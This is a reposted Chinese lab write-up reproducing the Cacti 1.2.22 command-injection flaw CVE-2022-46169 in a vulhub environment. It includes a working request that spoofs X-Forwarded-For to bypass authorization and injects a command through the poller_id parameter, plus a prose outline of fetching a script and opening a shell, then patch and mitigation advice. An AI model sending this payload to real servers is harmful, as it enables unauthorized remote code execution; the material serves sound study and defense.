0


Cacti命令执行漏洞复现(CVE-2022-46169)

1、漏洞概述

Cacti项目是一个开源平台,可为用户提供强大且可扩展的操作监控和故障管理框架。在1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。漏洞编号:CVE-2022-46169,漏洞等级:严重。

2、影响范围

影响版本

Cacti == 1.2.22

不受影响版本

Cacti == 1.2.23

Cacti == 1.3.0

3、环境搭建

vulhub搭建本地测试环境进行复现:

将包下载到有docker环境的机器上,执行以下命令

#解压靶场环境
unzip vulhub-master

#进入靶场环境
cd vulhub-master/cacti/CVE-2022-46169/

#安装漏洞环境并编译
docker-compose up -d

装好之后查看容器是否启动 docker ps

环境启动后,访问http://your-ip:8080会跳转到登录页面,使用admin/admin作为账号密码登录,并根据页面中的提示进行初始化,不断点击“下一步”,直到安装成功:

4、漏洞复现

利用条件:Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP的采集器

1、登录Cacti后台首页创建一个新的Graph

创建的Graph Type是“Device - Uptime”

点击创建

2、BP抓取首页包,构造请求payload实现RCE

POC:

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`执行的命令` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

漏洞存在

5、漏洞利用

制作exp

python搭建http服务器

python3 -m http.server 80

让目标下载恶意脚本

VPS开启监听,执行恶意脚本,拿下shell

6、修复建议

1、升级至安全版本

下载链接:

https://github.com/Cacti/cacti/tags

2、缓解方案

(1) 通过更新 lib/functions.php 中 get_client_addr 函数防止授权绕过,可参考官方补丁代码;

(2) 通过更改remote_agent.php文件防止命令注入,检索$poller_id参数时使用 get_filter_request_var函数代替get_nfilter_request_var:

$poller_id = get_filter_request_var('poller_id');

(3) 在参数$poller_id传入proc_open()函数之前通过escapeshellarg()函数进行转义:

$cactiphp = proc_open(read_config_option('path_php_binary').'-q'.$config['base_path'].'/script_server.php realtime'.escapeshellarg($poller_id),$cactides,$pipes);

本文转载自: https://blog.csdn.net/qq_41904294/article/details/128855445
版权归原作者 OidBoy_G 所有, 如有侵权,请联系我们删除。

“Cacti命令执行漏洞复现(CVE-2022-46169)”的评论:

还没有评论